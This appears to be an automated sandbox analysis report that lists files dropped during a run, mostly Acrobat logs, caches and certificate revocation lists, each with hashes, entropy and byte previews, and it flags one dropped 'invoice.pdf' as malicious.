Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8f0eb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClslLDYle:Qw946cPbiOxDlbYnuRK+bzlLEw
MD5:	FC81DCA1078CEC276AB1516FDD191399
SHA1:	976103E3BD6B64E315058A4958AEDD5FA1A00C1C
SHA-256:	20E22759D68695F09D7ADDE3A508FE9865CB5F384905C12085F8BC6609AEB5AA
SHA-512:	AD05BB9D80BFE9B4F539964C15973C21B8A250911D3B4D93078A70F41D13132CB80C6DABDF6ADC57DCA6A0950309D7A8F99B4D673AA9E281A8E80805E867233F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.3.5.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5phrkcev.joe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_warxsjsh.cm0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91n0jngd_1ezffob_618.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91u7k36f_1ezffo6_618.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-35-10-119.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33041854354294
Encrypted:	false
SSDEEP:	384:nfx+ZXEt5spHV4ewVwpkYHXLX0px+hRKsXjnpBmfbaBmwakgCzaCKfKfS9LNNw4l:1aM
MD5:	8C8CF1EF6199AFE49A17657623DCD326
SHA1:	B41BF47B2ECE9592A0334D6B309AA3E496E9D5B9
SHA-256:	9B5D5648F69621FD561C1D05BA2C854FFBEBCD770216F18FFB68AE32E94B1174
SHA-512:	CC5B33F56009FFB2A391070369AEC1E184B55B10740CE636BBF385AB0B92D0302A34ABA37EE10E1F583DBF662E5F1BD7C291BF11AE3153AFA4CEEC06D23DD4FE
Malicious:	false
Preview:	SessionID=de6d1b63-e034-430e-960d-3d9ecf477f95.1736516110134 Timestamp=2025-01-10T08:35:10:134-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=de6d1b63-e034-430e-960d-3d9ecf477f95.1736516110134 Timestamp=2025-01-10T08:35:10:142-0500 ThreadID=7528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=de6d1b63-e034-430e-960d-3d9ecf477f95.1736516110134 Timestamp=2025-01-10T08:35:10:142-0500 ThreadID=7528 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=de6d1b63-e034-430e-960d-3d9ecf477f95.1736516110134 Timestamp=2025-01-10T08:35:10:142-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=de6d1b63-e034-430e-960d-3d9ecf477f95.1736516110134 Timestamp=2025-01-10T08:35:10:142-0500 ThreadID=7528 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3850832807999
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rx:wu
MD5:	C476A8F4E76C704AB432E555684BF6FE
SHA1:	CC6F998847AABCE00B28BD6AA3AAD507D4C4817C
SHA-256:	D8F129FAC0E564E916B132A04467BE095141B4567E7EC56F22A2D21A800D9868
SHA-512:	243796E71A8C64FDD09891F89ACF6CE5E3C417C6413B43F2C8B1BEA20C556A7A88E9FD3C9CB3A97D6151CCA5BB321DE269112A2D61930B9CEE01D04F9F4C189D
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\346fb58e-db1c-4b31-a652-2b9806d5d3a2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\adf7b39d-a5c0-455e-86f6-c4a19092cb43.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\dffeb769-ec56-4c76-bc90-4c37ab1154db.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fe56484e-ba30-43a8-9cd3-f85e4a612569.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
